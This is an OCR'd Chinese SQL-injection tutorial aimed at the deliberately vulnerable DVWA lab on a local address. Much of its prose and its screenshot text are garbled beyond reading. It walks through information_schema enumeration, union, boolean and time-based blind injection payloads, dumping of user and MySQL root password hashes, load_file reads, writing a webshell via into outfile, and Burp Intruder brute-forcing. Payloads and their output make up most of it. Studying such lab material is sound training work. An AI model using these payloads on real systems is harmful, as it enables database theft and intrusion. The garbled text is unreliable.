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1.1. Smysql JFEANRIEEMR

T mysql5 WA LG, mysql BRAFE 259 & + 7 3 £ — ¥ infomation schema E
m XNEEBAEMREL R EHEAX =/ %k columns . tables, SCHEMATA % F
B CHEMA NAME it & # FE#I12 &

& SCHEMATA @information_schema (localhost_3306) - 3 — m] X
[ TABLES @information sc.. X [ SCHEMATA @informatio... X

Xt @8 =E B0 =B

Elsass Estas Veeas [Himwss D sess | & [tots ©B8e L7455

CATALOG_NAME SCHEMA_NAME DEFAULT_CHARACTER_SE DEFAULT_COLLATION_NA SQL PATH
> _ information_schema utf8 utf8_general ci
def al23 utf8 utf8_general ci
def bypassav utf8 utf8_general ci
def codeui utf8 utf8_general_ci
def empirecms utf8 utf8_general ci
def mm1122 utf8 utf8_general ci
def mysq| latin1 latin1_swedish_ci @
def mytest2 utf8 utf8_general ci
def new_moonsec_com utf8 utf8_general ci
def performance_schema utf8 utf8_general ci
def pop utf8 utf8_general_ci
def sec_moonsec_com utf8 utf8_general ci
def stc112 utf8 utf8_general_ci
def sys utf8 utf8_general_ci
def www_1377day com utf8 utf8_general ci
def www_cc123_com utf8 utf8_general ci
def www_ccc_com utf8 utf8_general_ci
def www_cdna_com utf8 utf8_general ci
4 < > M F = a ¢ o0 =@ 99,
SELECT * FROM "SCHEMATA' LIM E1ZCREHEMUHTIA

tables & ¥ £ TABLE SCHEMA . TABLE NAME 4 Bi0 %% E £ 1k 4
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™ TABLES @information_schema (localhost_3306) - %

Xt w®E EF 80 =8

TABLE_SCHEMA

1 2 information_schema

def
def
def
def
def
def
def
def
def
def
def
def
def
def
def
def
def
def
<
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information_schema
information_schema
information_schema
information_schema
information_schema
information_schema
information_schema
information_schema
information_schema
information_schema
information_schema
information_schema
information_schema
information_schema
information_schema
information_schema
information_schema

information_schema

+ - a e o

TABLE_NAME “TABLE_TYPE

CHARACTER SETS SYSTEM VIEW
COLLATIONS SYSTEM VIEW
COLLATION_CHARACTER SYSTEM VIEW
COLUMNS SYSTEM VIEW
COLUMN_PRIVILEGES ~ SYSTEM VIEW
ENGINES SYSTEM VIEW
EVENTS SYSTEM VIEW
FILES SYSTEM VIEW
GLOBAL_STATUS SYSTEM VIEW
GLOBAL_VARIABLES SYSTEM VIEW
KEY_COLUMN _USAGE  SYSTEM VIEW
OPTIMIZER TRACE SYSTEM VIEW
PARAMETERS SYSTEM VIEW
PARTITIONS SYSTEM VIEW
PLUGINS SYSTEM VIEW
PROCESSLIST SYSTEM VIEW
PROFILING SYSTEM VIEW

REFERENTIAL_CONSTRAI

ROUTINES

SYSTEM VIEW
SYSTEM VIEW

columns F & Z M P QIEH T EKEENESL, LT AL,

e \as Hissms 7V azas [Hmmss C=ess | | = [ +ass 2B
TABLE_CATALOG ' '

ENGINE
MEMORY
MEMORY
MEMORY
InnoDB
MEMORY
MEMORY
InnoDB
MEMORY
MEMORY
MEMORY
MEMORY
InnoDB
InnoDB
InnoDB
InnoDB
InnoDB
MEMORY
MEMORY
InnoDB

Sz

FE



[ COLUMNS @information_schema (localhost_3306) - 3=
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TABLE_CATALOG

information_schema

def
def al23
def al23
def al23
def al23
def al23
def al23
def al23
def al23
- =
def al23
def al23
def al23
def al23
def al23
def al23
def al23
def al23
def al23
def al123
def al23
def al23
def al23
def al123
IS _ann

i# 3¢ infomation_schema & 16 www_dvwa_com & & f7T & B & fn 5 BX

TABLE_SCHEMA

TABLE_NAME

announcement_views
announcement_views
announcement_views
announcements
announcements
announcements
announcements
banned

banned

banned
comm_replies
comm_replies
comm_replies
comm_replies
comm_replies
comm_replies
comm_replies
comments
comments
comments
comments
comments

comments

{08 (& B

COLUMN_NAME

INNODB_SYS_TABLESTAT REF_ COUNT

id

user_id

announcement_id

id

text

time

active

id
ip_address
time

id

user_id
comment_id
video_id
post_id
text

time

id

user_id
video_id
post_id
text

time

o

L FEEE LaEEEE |

select * from information_schema."COLUMNS" where TABLE_ SCHEMA='www_dvwa_com'

i)

P def
def
def
def
def
def

def
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S &

1 select *

HIRTE SIRES

from information schema. COLUMNS' where TABLE_SCHEMA='www_dvwa_com'

221 mR  #s

TABLE CATALOG  TABLE_SCHEMA

www_dvwa_com
www_dvwa_com
www_dvwa_com
www_dvwa_com
www_dvwa_com
www_dvwa_com

wnw_dvwa_com

> ce

TABLE_NAME
guestbook
guestbook
guestbook
users

users

users

users

COLUMN_NAME ORDINAL_POSITION
comment_id
comment
name
user id
first_name

last_name

A w N = wN =

user

COLUMN _DEFAULT

R EHHERIEEENREEEAN R

IS_NULLABLE
NO
YES
YES
NO
YES
YES
YES

DATA _TYPE
smallint
varchar
varchar

int

varchar
varchar

varchar

ORDINAL_POSITI(

d OV A W N =N R WN = WN = bk WN = WN = O

CHARACTER_MAXIMUM_ ~

300
100

15
15
15

C XA LA TR



SHNRTR SIRE%

1 select * from information_schema.COLUMNS where TABLE_SCHEMA='www_dvwa_com'

=8 221 ®R Hs
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME ORDINAL_POSITION COLUMN _DEFAULT IS_NULLABLE DATA _TYPE CHARACTER_MAXIMUM_ A

P def www_dvwa_com  guestbook comment id 1 NO smallint

def www_dvwa com  guestbook comment 2 VES varchar 300

def www_dvwa_com  guestbook name 3 YES varchar 100

def www_dvwa_com  users user_id 1 NO int

def www_dvwa_com  users first_name 2 YES varchar 15

def www_dvwa com  users last_name 3 YES varchar 15

def www_dvwa_com  users user 4 YES varchar 15

v
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=33 EFESE: 0.002s E1ZERHENH

THRNERXRANROT B UZHEN
select * from information schema.COLUMNS where
TABLE SCHEMA='www_dvwa com' and TABLE NAME="users'

O REE B0 EY BOW =HH
pEs Mer veg Bexes W o8\ Her Ween Qs Cames mEsE C =asE | | ® [ toes EEe
SFURTA SIRES

1 select * from information_schema.COLUMNS where TABLE_SCHEMA='www_dvwa_com' and TABLE NAME='users'|

BB £R1 #\R #s

TABLE CATALOG ~ TABLE SCHEMA  TABLENAME  COLUMN_NAME  ORDINAL POSITION ~ COLUMN_DEFAULT  ISNULLABLE ~ DATATYPE  CHARACTER MAXIMUM_ A
P def www_dvwa_com users user_id 1 NO int

def www_dvwa_com  users first name 2 YES varchar 15

def www_dvwa_ com  users last_name 3 YES varchar 15

def www_dvwa_com  users user 4 YES varchar 15

def www_dvwa_com  users password 5 YES varchar 32

def www_dvwa com  users avatar 6 VES varchar 70

def www_dvwa_com  users last_login 7 CURRENT_TIMESTAMP NO timestamp

v
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1.2. SOL FANJRIE

SQL JE N\ IR By 7= £ 7 B % R LU T A&

& ZHFAFE: KBl Bl s8N EZR P LR H 8

& SHWNBIEELEN: EAWSEPEE SQLIER, BEFANBKEEENH.
YF P AENSEA 1B R E KR ERAT 0T AT,

select * from users where id=1'

It SQL & 4 1~ 45 - T v AL Bt = 4R %8 o

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near " at line 1

LY P ENSEA 1and 1=1 B

select * from users where id=1 and 1=1

F A 1=1 AF id=1 #2F and ¥ A H FUTE2EE id=1 W& XK.
WRFA P HENEEHA 1 and 1=2 B

EA 1=2 A id=1 A X and WA — MR, FUTEHEES id=1 ©—FH#
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#ATKEG, REFLME, EEZRIMFEMNIR,

1.3. FIEREBELEEIN

[ 2 e Fi DU A HdlE 15 B R 1A

id=1 and 1=1

id=1and 1=2

id=1or1=1

id="1"or'1'='1"

id="1"or "1"="1"

TELZRE REGANIEN TEHXAEETEMIEFRTEEEFNALL TR
ENN R

1.4. =Fhsql TR

BOBFEE EEL uwl FHAK A, EHEH%3
K EAER EEAEKELSHE
PO ETER ELEERABEN YRR REAEE

1.5. FNAERE

REGHFEENFHAWENKR

HWrF B order by

EE T R union select 1,2

THHEERFE  @@version  @@datadir

AP 4, BAEEL user()  database()

2B union select 1,load_file('C:\\wondows\\win.ini')#

H )\ webshell select..into  outfile...

=R, EHsqiE BN FHFENET TRENTF, A HEX &
(ZE

1.6. SQL FEANH

SQL JEA4%: #% SQLMap ¥ H14 %%k &, SQL EANKAALLT 5 f:
UNION query SQL injection (7] Bk A & 8 7E A\ )

Stacked queries SQL injection (7] % &4 & E N\ ) HEEEH



Boolean-based blind SQL injection (#7 /R & JE X\ )
Error-based SQL injection (i} 45 & JE )
Time-based blind SQL injection (& F i [8] ZE3R JE A\ )

1.7. ERiERAEBVXS

GET A

GET # R 54 & i £ URL B#, GET it KWW URL E5 A KERE ¥ XFE
URL % #4

POST 3\

POST 53K 2 & B £ & K body B8y, K Z & A R

COOKIE XA\

cookie ZH M EF K LFE L, RRMWEME RH &2 MiFRKLHR

1.8. FABERIPHX 5
int g_ﬂ

select * from users where id=1

sting FHE

select * from users where username='admin’
like ¥ &A

select * from news where title like "% 71 %'

1.9. SOL FEANEMFIRBEE:

1. FHENE, FTUET web HH T AL

2, BREANR, ERRGERTEEREEN 4. HEELH. EEEEEHA
FRIE. BERAGR. HEERAFHEXELR.

3. BRRBEBEERRAEEFREAS (E N GEHREERKFINERL. F
BE4%ER)

3.1 &7 LUK BUEHE FE BN root Tk 5 A — BB

4, IUBRLKENAFEL, FHREEEXR.

5. MAEET Bt —¥REER.



1.10. FLENENERE:
LHWEEHEEN, EANEFHEELKTA
DM SQL EHEA F HIF EH order by N
3.9 % BT 8 BRE

43K T L AT

SR BUKIE P B &

6.3k & T B 4

7.2 3|k P A

1. 11. SOL iF4HFE N2
1 A

1" union select 1,database()

payload FI| F 7 —## 77 .

1' union select user(),database()

version()

REHEES: dvwa

PS: union F# 4 & T F /> select 4 R, R _LE R order by 155 A 1HH
ARG, HTHBIELRF EEsE R, RAIF ZEA union WL 4 KA
& B 7 S — A select. /£ & #£ £ F union & #YEHE F B A0 £ E W EAEE .

% 7?«% /Ag :

I' union select 1,group concat(table name) from information schema.tables where
table schema =database()

% 2|k 4. guestbook,users

group_concat 44

¥54:

1' union select 1,group concat(column name) from information schema.columns
where table name =0x7573657273#

I' union select 1,group concat(column name) from information schema.columns
where table name ='users'#

(AR R 255, FE5F 31T 5%H)

=25

user_id,first name,last name,user,password,avatar,last login,failed login,id,usernam

e,password



R P HAE:

7|2 1 JLH payload:

1' or 1=1 union select

group_concat(user_id,first name,last name),group concat(password) from users #
1' union select null,concat ws(char(32,58,32),user,password) from users #

1' union select null,group concat(concat ws(char(32,58,32),user,password)) from
users #

CEEDE & F

admin 5f4dcc3b5aa765d61d8327deb882c¢199

& root Bl F: #

1' union select 1,group concat(user,password) from mysql.user#

%% root |l 7 15 B.:
root*81FSE21E35407D884A6CD4A731AEBFB6AF209E1B

1.12. union K& FENERIER

BRaEWHENZIRE A RFATEANK S, EH K% union select *f #Fkit
THREEH, ANMERNFEREHREME, TR HIAHE.
guestbook £H =/ F &

v &=EA QF RHRE

# BF >3 Hesz R Bt = EA @ BE
] 1 commentid > smallint(s) UNSIGNED Z £  AUTO_INCREMENT 7 #6% © B 5 52 [y ®B— (5] 23| [T =18 (7 £308% [ 3£ZSE (DISTINCT)
[] 2 comment varchar(300) latin1_swedish_ci £ NULL BN @ B xR |y e— 5| F5I [T =@ 3 £08F [ ] ESEE (DISTINCT)
[ 3 name varchar(100) latin1_swedish_ci 2 NULL S BN @ Bk O k82 (g B— F H5| [F =8 (3 0 [ IEESE (DISTINCT)

t_O=s &9 @Eus JBR @k = @E— F5

users A /\ > F &

. | e e g e[y e eeeny mem e s s Aot e e e e e san s e s s e s w s e s a

| B s A om0 sQL | 4 iR ¥ OEA S SH @ BA | s IR P BE | B mes

W ®/GE § *BaE

‘ # BP 35 Hesz Bt = EA ;b
O 1 wuserid > int(6) 8%
‘ [J 2 first name varchar(15) latin1_swedish_ci = NULL
. ) 3 last name varchar(15) latin1_swedish_ci 2 NULL
|| () 4 user varchar(15) latin1_swedish_ci = NULL
‘ [ 5 password varchar(32) latin1_swedish_ci 2 NULL
[] 6 avatar varchar(70) latin1_swedish ci = NULL
J ) 7 lastlogin timestamp on update CURRENT_TIMESTAMP & CURRENT_TIMESTAMP ON UPDATE CURRENT_TIM
| (] 8 failed login int(3) 2 NULL

WREEKRAWA R BNFIBRE KT —H 23R dH



| SELECT * FROM ~guestbook™ WHERE comment_id=1 union select * from users

SELECT* SELECT INSERT UPDATE DELETE Bk [-5:8 Get auto-saved query

(J Bind parameters &

[Sa=Rg | ] EExRSTuEr () EZ=EE U Rollback when finished ERSMESNE

IR

SQL&Em: o

SELECT * FROM ~guestbook™ WHERE comment_id=1 union select * from users LIMIT 0, 25

MySQLEE: ©

#1222 - The used SELECT statements have a different number of columns

BEoWEReEWH %
SELECT * FROM guestbook WHERE comment id=1 union select 1,2,3 from users
guestbook H M= /NF B users wFEH =N Z L

[ ., Current selection does not contain a unique column. Grid edit, checkbox, Edit, Copy and Delete features are not available. &

 [EERTRE 0 - 147 (3£ 2 17, =ige= 0.0003 #. )

SELECT * FROM ~guestbook’ WHERE comment_id=1 union select 1,2,3 from users

0 8528 | a% 25 v
BESIHE: | & N
+ &R
comment id comment name

1 | This is a test comment. test
12 3

KR T ] DU Bk T B B R S B

CREY AR

SELECT * FROM guestbook WHERE comment_id=1 union select
database(),user(),version() from users



., Current selection does not contain a unique column. Grid edit, checkbox, Edit, Copy and Delete features are not available. &

« EEERE0- 147 (217, =872 0.0003 7. )

SELECT * FROM " guestbook™ WHERE comment_id=1 union sele:

se (), user (), version() from users

BRESIHE | X R

+ IR

comment id comment name

1 This is a test comment. test

dvwa root@localhost 5.7.33-0ubuntu0.16.04.1

FERERAT B
SELECT * FROM guestbook WHERE comment_id=1 union select
user_id,user,password from users

 IEEERE 0 - 547 (£ 6 17, w72 0.0002 7. )

SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users

0 8xsm | 7% 25 v TG | ERETER
| BESIHE | B o
+ &R
comment id comment name

1 This is a test comment. test

1 admin 5f4dcc3b5aa765d61d8327deb882cf99
2 gordonb €99a18c428cb38d5f260853678922e03
30 (1337 8d3533d75ae2c3966d7e0d4fcc69216b
4 pablo 0d107d09f5bbe40cade3de5c71e9e9b7
5 smithy 5f4dcc3b5aa765d61d8327deb882cf99

R B e E limit [RZ AL A A EWEE R, FrUH#2 0L limit 1 RZ
SELECT * FROM guestbook WHERE comment_id=1 union select
user_id,user,password from users limit 1



Ml /NSRRI

+, Current selection does not contain a unique column. Grid edit, checkbox, Edit, Copy and Delete features are not available. &

« [EEERE 0 - 047 (3£ 1 17, == 0.0002 ., )

SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users limit 1

+ %I
comment id comment name

1 This is a test comment. test

EREH &8 R"%—4%, HH SELECT * FROM guestbook WHERE comment_id=1
WAME A R FEILTH R R E admin B 4 2 7 UE 1 R E M F £ IEE,
By BRIA S BOst TR AT AR Y, BT AR AR B T Rl Am E-1 BIF B8 8 — VRV A
SELECT * FROM guestbook WHERE comment_id=-1 union select
user_id,user,password from users limit 1

i CTHRSSEE: localhost » @ Bd=EEs: dvwa > [l 3=: guestbook

L) WIS e s\ L) saL VIER 3 A = B (& BN 8 BRSO BE | X mESE

ETEE

+, Current selection does not contain a unique column. Grid edit, checkbox, Edit, Copy and Delete features are not available. &

 IEESTE 0 - 047 (£ 1 17, =9 0.0002 #. )

+ 1B
comment id comment name

1 admin 5f4dcc3b5aa765d61d8327deb882cf99

1.13. union BREFNT

T LEmEANNET ERE, HEFXSHA SQL N IRE/ KD, #EiLomR
By, EHRANHT M SQL ENIRIFE

vulnerabilities/sqli/source/low.php

<aphp
$£( iget( § REQUEST[ ’Subait

Pl HAKIEEEI

($GLOBALS[*__nysali_ston’])) 7 mysali_ervox ($GLOBALS["__mysali_ston’)) : ((8__nysqlives =

mysali_connect_error() 7 $__mysalixes : false)) . ¢

ccho “uroo: [8idl e Pizst nase: [Sfizstlhr NSurmane: (Slastl Ufpred”

]

mysali_close (§GLOBALS["__aysali_ston’])
'

>

% FI$_REQUEST H &8k id 541, H&A #HATLIR, B ¥ LLEK cookie get post
XEEHTE, YEN R, TEHEFRERAER,



# 192.168.0.134/01/vulnerabilities/sqli/?id=1&Submit=Submit# B2 e ¥

\WR)

Vulnerability: SQL Injection

Home ‘
Instructions ‘
Setup / Reset DB UseriD:[ || submit
Brute Force ‘ :‘?rsi name: admin
Command Injection ‘ Pamsneiam g
CSRF |
File Inclusion | More Information
File Upload | .
Insecure CAPTCHA | :
\

wR AN 1" EE2 HILEHA You have an error in your SQL syntax;iX A 3 5 £
mysql B & # IR

WA RS H$id = B T F 4 8 KA BT UE#AT SQL E A0 N By B (R ZE &
B, 5 fF &

< Cc ® © & 192.168.0.134/01/vulnerabilities/sqli/?id='&Submit=Submit# 8o WY

JERES @ FFELE 5 smn

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near

$‘idr; $;i'{EdUEST[ “id 1;

“SELECT first name, last name FROM users WHERE user id = ~$id .~

Faquery

1.13.1. ¥IHF sQL FFA

B land'1'='1 TEEEFA L l'and '1'=2 TEEE T —HEEE. £AT
LL# 5 £ 7 SQL V£ A\ IR

1 192.168.0.134/01/vulnerabilities/sqli/?id=1'and+'1'%3D"1&Submit=Submit#

)
DVWA)

Vulnerability: SQL Injection

Home |

Instructions ‘

Setup / Reset DB | User ID: | [ Submit |
ID: 'and '1'="1

Brute Force | First name: admin

Command Injection ‘ Busniener adxin




D  # 192.168.0.134/01/vulnerabilities/sqli/?id=1'and+'1'%3D'2&Submit=Submit#

\
o)

Vulnerability: SQL Injection

Home ’

Instructions ’

Setup / Reset DB ‘ User ID: [1'and '1'="2 || Submit

Brute Force ‘

| ) DRGNS pUR SRR § PR

1.13.2. FIMT=FEE 3

& F & #] order by #E LR K F A

orderby 1 R TR EFHE FEHADT lorderby2 £ F 2, —Hunlkk
BEITEHE. EANTFERAEHEHTFRD 1

/~ 3 order by n-1

1' order by 1--+ IE&

1' order by 2--+ IE&

1' order by 3-—+ H 4

R U

au
EF T HE
#% 192.168.0.134/01/vulnerabilities/sqli/?id=1" order by 1--+&Submit=Submit# 28 o 0
D\WA)

— . Vulnerability: SQL Injection

Instructions |

Setup / Reset DB | User ID: || submit

ID: 1° order by 1--

Brute Force | First name: admin

Command Injection | SRR QD

CSRF |

File Inclusion | More Information

File Upload |

Insecure CAPTCHA |

|

QNI Iniantinn (RlinAd)



192.168.0.134/01/vulnerabilities. X

< C @ © & 192.168.0.134/01/vulnerabilities/sqli/?id=1' order by 3--+&Submit=Submit#
B yamersss @ FFti [ sEmn

Unknown column ’3’ in ’order clause’
= SR IR
HAHEFTEEN 2

1.13.3. BRATIEANFK B RER

BAEW WA KT EWRERTARTHE. W78 R LR N e
RUHFERT ., -l RULNEHREWNASTHEE. FORLETERHT.

-1" union select 1,2--+

© & 192.168.0.134/01/vulnerabilities/sqli/?id=-1" union select 1,2--+&Submit=Submit#

B3 =mmnt

\
o)

o . Vulnerability: SQL Injection
Instructions |
Setup / Reset DB | UserID:: Submit
ID: -1’ union select 1,2--
Brute Force | First name: 1
Command Injection | S 2

reRE |

AR A &k mysql B H Pl md5(1) Ko ETEEE 1# mds i EE L.
R A B — 2 B8 T4 #2509 I R IR E R AR A

© # 192.168.0.134/01/vulnerabilities/sqli/?id=-1' union select 1,md5(1)--+&Submit=Submit#

Xtk

\
o)

Home  Vulnerability: SQL Injection
Instructions ‘

Setup / Reset DB ‘ User ID: : Submit

ID: -1’ union select 1, md5(1)--
‘ First name: 1
‘ Surname: c4cad238a0b923820dcc509a6f75849b

Brute Force

Command Injection
CSRF \

BAEKI mysql AR BRI PR LR 5K4E E




version() mysql M A

database() % ®I # & &

user() %4 A F 4
group_concat() 24 47 BN 5 7% &
PRBAES BB TEETE

-1" union select 1,version()--+

- , e

@ © & 192.168.0.134/01/vulnerabilities/sqli/?id=-1" union select 1,version()--+&Submit=Submit#

@ FFtie BxAmL

\WR)

Vulnerability: SQL Injection

Home ‘

Instructions ‘

Setup / Reset DB ‘ User ID: : Submit
ID: -1’ union select 1,version()--

Brute Force ‘ First name: 1

T e ‘ Surname: 5. 7. 33-Oubuntu0. 16. 04. 1

CSRF |

File Inclusion | More Information

-1" union select 1,group concat(user(),0x3A,database(),version())--+
192.168.0.134/01 /vulnerabilities/sqli/2id=-1" union select 1, concat(user(),0x3A,database() version())-- + RN &}

Vulnerability: SQL Injection

Home |
Instructions |
Setup / Reset DB | Userld:[ || Submit
ID: -1’ union select 1, group_concat (user (), 0x34, database (), version())—-
Brute Force First name: 1
Command Injection Surname: root@localhost:dvwab. 7. 33-Oubuntu0. 16. 04. 1

CSRF

File Inclusion More Information
File Upload

|
|
|
|
|
Insecure CAPTCHA |
|
|
|
|

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)
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-1" union select 1,(select TABLE NAME from information schema. TABLES where
TABLE SCHEMA=database() limit 1)--+

F -1k

-1" union select 1,(select TABLE NAME from information schema. TABLES where
TABLE SCHEMA=database() limit 1,2)--+

© & 192.168.0.134/01/vulnerabilities/sqli/?id=-1" union select 1,(select TABLE_NAME from information_schema.7 2§ [

it

Vulnerability: SQL Injection

Home ‘
Instructions ‘
Setup / Reset DB | User ID: Submit
ID: -1’ union select 1, (select TABLE_NANE from information_schema. TABLES where TABLE_SCHE
Brute Force First name: 1
Command Injection SEnne; S

|
|
CSRF
File Inclusion ‘

More Information

1.13.5. K& &EifFE \ifBid information_schema FREFRER
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HH users KF —NFHAL

-1" union select 1,((select COLUMN_NAME from information schema.COLUMNS
where TABLE NAME="users' limit 1))--+

B users KF —NFH AL

-1" union select 1,((select COLUMN_NAME from information schema.COLUMNS
where TABLE NAME="users' limit 2,1))--+

B users KF =NFH 4L

-1" union select 1,((select COLUMN_NAME from information schema.COLUMNS
where TABLE NAME="users' limit 3,1))--+

© # 192.168.0.134/01/vulnerabilities/sqli/?id=-1" union select 1,((select COLUMN_NAME from information_sch 2 E] LTTIE 4
| #EFERIE
D\WA)
Home Vulnerability: SQL Injection
Instructions
Setup / Reset DB User ID Submit

ID: -1’ union select 1, ((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME="userg’ limit 2,1))-

Brute Force First name: 1
Command Injection Surname: password
CSRF

File Inclusion More Information

File Upload |

Insecure CAPTCHA
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-1" union select 1,(select group concat(user,0x3a,password) from users limit 1)--+

&« Cc © & 192.168.0.134/01/vulnerabilities/sqli/?id=-1' union select 1,(select group_concat(user,0x3a,password) from v 88 B <= ¥¥
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e Vulnerability: SQL Injection

Instructions
Setup / Reset DB User ID! Submit

ID: -1 union select 1, (select group_concat (user, 0x3a, password) from users limit 1)--
Brute Force ‘ First name: 1

P —— | Surname: admin:5f4dcc3b5aa765d61d8327deb882¢£99, gordonb :e99a18c428ch38d5£ 260853678922603, 1337 :8d3533d75ae2¢3966d7e0d4f cc69216b, pablo: Ot
Command Injection

_CSRF

File Inclusion More Information
File Upload .

Insecure CAPTCHA \
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<Pphp

if( isset( $_GET[ ’Submit’ ] ) ) {

)1 getizlzids g

_gia = gerT[ id ]

L Check datoboce
$getid = “SELECT first name, last_name FRON users VHERE user_id = ’$id:”;
result = mysqli_query(SGLOBALS[”_mysqli_ston”],  $getid ); // Removed 'or die’ to suppress mysql errors . 1 s
2.1 dTEEA\EH
$num = @mysqli_numrows( §result ); // The '@ character suppresses errors
DR

if( $mm > 0

nd user
S : .

echo exists in the database. /preY ; 3WREFEE IR[E id exists=ZfFER
}
else {

header( §_SERVER[ ’SERVER_PROTOCOL’ ] . ° 404 Not Found' );

// Feedback for end user

echo ’<predUser ID is MISSING from the database.</pre>’ ;

1

((is_null(§__mysqli_res = mysqli_close($GLOBALS[”__mysqli_ston”]))) 7 false : $__mysqli_res);
i}

B idWE, EEF\ETH, wRFAERIEKE users is exists in the database
%M E R users id is missing X R F EHEGHERTE. NEA 4D FE8HEE
BEAAR, mRFAEEN, KAFEN.
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1.14.1. I EEN
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select sleep(10)

Oexa3 | &% |25 [v




J/NREERCEUREX DA ICEVRN Il 8] /. nerability: SQL Injectio; X
< cC @ © % 192.168.0.134/01/vulnerabilifies/s: vy iINn D ©® 6 ® =

Byanemss @ FFtE 5 emmm Bsess OB#HaEtoss

e Vulnerability: SQL Injection (Blind)

Instructions

Setup/ Reset DB, | User ID: | || submit

User ID is MISSING from the database.
Brute Force |

Command Injection

CSRF More Information
File Inclusion .

File Upload

Insecure CAPTCHA |
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1.15. boolean F/REGFEFANBEH

AREENSE, HN T E A2 E EEAHEENE, TR B A &K
YRERETNENE, EL27 LA LHE SQLEH, FKEEKE.

A /R A I EAF 243 SQL &4 select if(1=1,1,0) if() 5 %K 7£ mysql & #|#r, % —
Mg ERER, wWRELEHRIL, 2871, FMETFR 0, 1=1 ZAX T Uk g
# 8y SQL K HEAH .

1'and if(1=1,1,0)--+ M HEEIE®, XMEFLIFER 1’and1, Eand & 4R
Eéll | B AEITFM . BT AR B 7 T,

O #Z 192.168.0.134/01/vulnerabilities/sqli_blind/?id=1" and if(1=1,1,0)--+ &Submit=Submit# &% e ¥

e . Vulnerability: SQL Injection (Blind)
Instructions ‘

Setup / Reset DB ‘ User ID Submit

‘ User ID exists in the database.

i B3 mmEmit

Brute Force

Cammand Iniactinn |
1'and if(1=2,1,0)-+ W EEEHE, XNEFHHAZ 'and0 , Eand B £ R W
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) & 192.168.0.134/01 /vulnerabilities/sqli_blind/?id=1" and if(1=2,1,0)--+&Submit=Submit# F51 LTTNR 4

Vulnerability: SQL Injection (Blind)

Home ‘

Instructions ‘

Setup / Reset DB | useriD:[ || submit
User ID is MISSING from the database.

Brute Force

l
Command Injection ‘
CSRF | More Information
l
|

File Inclusion

1.15.1. HRBEFIANFKNBIREERRER
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select database() & 16 X 7] &

v IEEBE 0 - 0 47 (3 1 17, &g 0.0000 &, )

select database()

18728 | 58: |25 |v AT
+ JEIA
— - database()

[] & %E 355 @ WBx dvwa
i 3% substring &k B# BLK B



R [sqL L BFR B = sk &S S BIEE = BB & B

BREIIE
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e SUBSTRING(database(),1,1)
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select if (SUBSTRING (database(),1,1)="d",1,0)
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~— | dvwa
!_ o 2 select if (SUBSTRING (database(),2, 1)="v",1,0)

+- » guestbook

|
+- l» users

4+ | information_schema

+- . mutillidae L] S87ei ‘ 73 25 v T

-‘0-_ mysql

4‘., performance_schema + PETR

-:;.7 pikachu e if(SUBSTRING(database(),2,1)="v",1,0)
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1.16. EESEXTHREGFEAN
EL@#%T%T%K@EEA%EE,E%ﬁmﬁﬁ\ TR o
HERAMEN, AMMTEARKBBEENKE, FKEFEHESL, BLE
LBEEHEk, BrAI KT WTE, 5L ﬁ%%%”%ﬁ%o

1.16.1. H/REMCENEIAKE

TWLANESL, BAARETOHEENKE, BRIARRTFHT I,
1' and if(length(database())=4,1,0)--+

© & 192.168.0.134/01/vulnerabilities/sqli_blind/?id=1" and if(length(database())=4,1,0)--+ &Submit=Submit#
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FFELE B smmit

D)

o Vulnerability: SQL Injection (Blind)

Instructions
Setup / Reset DB userd:[ ][ Submit

User ID exists in the database.
Brute Force
Command Injection
CSRF More Information
File Inclusion .
File Upload

Insar ra CAPTCHA |

HIWTE 2 K E A 4, BRIE —/F /B HAT A BT
0123456789 ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopgrstuvwxyz.
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1' and if(substring(database(),1,1)='d',1,0)--+
B vt s o |

© # 192.168.0.134/01/vulnerabilities/sqli_blind/?id=1" and if(substring(database(),1,1)="'d",1,0)--+&Submit=Submit# && ee*

Vulnerability: SQL Injection (Blind)

FaRaE

Home ]

Instructions ‘

Setup / Reset DB | user:[ || submit

User ID exists in the database.
Brute Force

l
Command Injection ‘
CSRF | More Information
l
|

File Inclusion

.
Fila lInlnad

a="0123456789ABCDEFGHIJKLMNOPQRSTUVWXY Zabcdefghijklmnopqrstuvwxyz.@_"
for x in a:
print(x)

A & Z B MR £ Cluster boomb 2, KEHANT &,

L i |

arget [ Positions | Payloads | Options |

D Payload Positions

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.

Al(acbi(ype | Cluster bomb !

|
1 GET 7UI/VUINETabITItI=S/ Sl _PIIRay 71a=1%27520ands204if (substring (database ()
2 Host: 192.168.0.134 -
User-Agent: Mozilla/$.0 (Vindows NT 10.0; Winé4
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp
5 Accept-Language: zh-CN,zh;q=0.8, zh-TW;q=0.7, zh-HK; q=0.5, en-US; q=0.3, =n; q=0.2

§1S,1)=%278Q8§%27, 1,0) ——+&Submit=Submit HTTP/1.1

¢ Accept-Encoding: gzip, deflate
7 Connection: close
Cookie: security=low; PHPSESSID=kltsavajqrmsS0c4mehlnbarés
Upgrade-Insecure-Requests:

10 Cache-Control: max-age=0 ThE 5
u XE T

TEIKBREKANS . FE2 REEAFH payloadixt EAKE.



Attack Save Columns

J Results. I Target | Positions T Payloads TOptions ]

| Filter: Hiding 3xx, 4xx and 5xx responses

| Request | Payload1 4| Payload2 ‘ Status \ Emor | Timeout | Length ‘ Comment
0 200 a [ 4858

53 1 D 200 a [ 4858

W C— S R S

126 2 \' 200 a [ 4858

230 2 v 200 a [ 4858

131 3 w 200 a [ 4858

235 3 w 200 a [ 4858

44 4 A 200 a [J 4858

148 4 a 200 =] [J 4858

Request | Response
Raw ParamsIHeaders Hex

GET /Dl/vulnerabilities/sqli_blind/?id=1%27%20and%20if (substring(database(),l,1)=%27d%27,1,0) --+&Submit=Submit HTTP/Ll.1
Host: 1S2.168.0.134

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:88.0) Gecko/2010010l1 Firefox/88.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8, zh-TW;q=0.7, zh-HK; q=0.5,en-US; q=0.3, en; q=0.2

Accept-Encoding: gzip, deflate

